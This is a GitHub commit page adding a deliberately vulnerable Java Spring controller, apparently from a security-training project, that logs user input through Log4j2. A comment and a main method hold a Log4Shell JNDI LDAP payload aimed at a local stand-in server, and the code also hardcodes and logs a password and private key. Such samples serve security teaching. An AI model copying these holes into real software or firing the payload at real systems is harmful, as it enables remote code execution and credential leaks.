Skip to content

Commit a337164

Browse files
authored
Create Log4j2
1 parent 1eed289 commit a337164

File tree

1 file changed

+36
-0
lines changed
  • src/main/java/org/joychou/controller

1 file changed

+36
-0
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
2+
package org.joychou.controller;
3+
4+
import org.apache.logging.log4j.LogManager;
5+
import org.apache.logging.log4j.Logger;
6+
import org.springframework.web.bind.annotation.RequestMapping;
7+
import org.springframework.web.bind.annotation.RestController;
8+
9+
@RestController
10+
public class Log4j2 {
11+
12+
private static final Logger logger = LogManager.getLogger("Log4j2");
13+
14+
/**
15+
* http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
16+
* Default: error/fatal/off
17+
* Fix: Update log4j to lastet version.
18+
*/
19+
@RequestMapping(value = "/log4j")
20+
public String log4j(String token) {
21+
String password = "Pass@0rd";
22+
logger.info("User password is " + password);
23+
String privateKey = "parivate";
24+
logger.info("paramaters is {}", new Object[]{privateKey});
25+
if(StringUtils.isNotBlank(privateKey)) {
26+
logger.error("something wrong, token: {}, privateKey: {}", token, privateKey);
27+
}
28+
return token;
29+
}
30+
31+
public static void main(String[] args) {
32+
String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}";
33+
logger.info(poc);
34+
}
35+
36+
}

0 commit comments

Comments
 (0)